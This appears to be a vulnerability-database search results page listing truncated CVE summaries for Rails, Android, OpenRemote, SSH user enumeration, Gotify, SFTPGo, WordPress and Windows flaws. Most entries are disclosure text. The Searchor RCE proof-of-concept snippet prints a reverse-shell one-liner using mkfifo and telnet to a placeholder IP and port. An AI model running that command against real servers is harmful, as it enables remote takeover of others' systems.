298807 matches found
CVE-2020-8163
CVE-2020-8163 CVE-2020-8163 - Remote code execution of user-provided local names in Rails Remote code execution of user-provided local names in Rails 5.0.1 There was a vulnerability in versions of Rails prior to 5.0.1 that would allow an attacker who controlled the locals argument of a render cal...
CVE-2019-2107
CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - looks scary. Still remember Stagefright and PNG bugs vulns .... With CVE-2019-2107 the decoder/codec runs under mediacodec user and with properly "crafted" video with tiles enabled - pspps-i1tilesenabledflag you can possibly do RCE. The codec affected i...
CVE-2026-54640 OpenRemote: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory
OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the KNXProtocol.startAssetImport method in agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java processes 0.xml from an authenticated user's uploaded ETS project ZIP with Saxon TransformerFactoryImpl and...
userenum-CVE-2018-15473
Userenum CVE-2018-15473 User enumeration for CVE-2018-15473 This script is a method to use a user dictionary with the CVE-2018-15473 SSH User Enumeration by Leap Security @LeapSecurity https://leapsecurity.io. Script developed to solve Valentine HTB machine. How to use it 1st. Download the main...
CVE-2026-109605
A security vulnerability exists in SourceCodester Simple Cafe Billing System 1.0 within the User Management component. Specifically, the Action::save_user function in the admin_class.php file is susceptible to improper authorization when the Type argument is manipulated. This flaw allows for remo...
CVE-2026-109605 SourceCodester Simple Cafe Billing System User Management admin_class.php save_user improper authorization
A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::saveuser of the file adminclass.php of the component User Management. The manipulation of the argument Type leads to improper authorization. The attack is possible to be...
CVE-2023-43364-Searchor-RCE-Exploit
CVE-2023-43364 – Searchor RCE Exploit PoC Remote Code Execution RCE via unsafe eval usage in Searchor --test Execute Custom Command Run any command on the target server: python3 CVE-2023-43364.py -a "whoami" Examples: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF"...
CVE-2026-102603
Gotify server is a simple server for sending and receiving messages in real-time per WebSocket. Prior to 3.0.0, the password change endpoint POST /current/user/password accepts a valid client token without requiring the account's current password or another elevated authentication step. An attack...
CVE-2026-103028
The open-source file transfer solution SFTPGo (versions 2.5.0 through 2.7.6 ) is vulnerable to a source-side file-pattern filter bypass. An authenticated user with copy permissions can copy files restricted by denied_patterns or those outside allowed_patterns to an allowed destination because fil...
CVE-2026-25197
CVE-2026-25197: Authorization Bypass via User-Controlled Key IDOR Advisory Field| Value ---|--- CVE| CVE-2026-25197 ICSA| ICSA-26-055-03 Update A CVSS 3.1| 9.1 Critical Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CWE| CWE-639 Authorization Bypass Through User-Controlled Key Researcher|...
WordPress Membership & User Roles for WooCommerce (Automatic Role Changer) plugin <= 20260828 - Authenticated (Subscriber+) Privilege Escalation to Stale Foreign Role Cache vulnerability
Authenticated Subscriber+ Privilege Escalation to Stale Foreign Role Cache vulnerability discovered by Azgnt in WordPress Plugin DFX Automatic Role Changer for WooCommerce versions = 20260828...
CVE-2026-102603
The Gotify server is vulnerable to an insufficiently protected password change endpoint (POST /current/user/password) in versions prior to 3.0.0 . The software fails to require the account's current password or an elevated authentication step, accepting only a valid client token. An attacker who ...
CVE-2026-102603 Gotify: Insufficiently Protected Password Change endpoint
Gotify server is a simple server for sending and receiving messages in real-time per WebSocket. Prior to 3.0.0, the password change endpoint POST /current/user/password accepts a valid client token without requiring the account's current password or another elevated authentication step. An attack...
Windows Broadcast DVR User Service Elevation of Privilege Vulnerability
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally...
Windows Internal System User Profile Elevation of Privilege Vulnerability
Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally...
Windows Broadcast DVR User Service Elevation of Privilege Vulnerability
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally...
Windows Broadcast DVR User Service Information Disclosure Vulnerability
Buffer over-read in Windows Broadcast DVR User Service allows an authorized attacker to disclose information locally...
Windows Broadcast DVR User Service Elevation of Privilege Vulnerability
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally...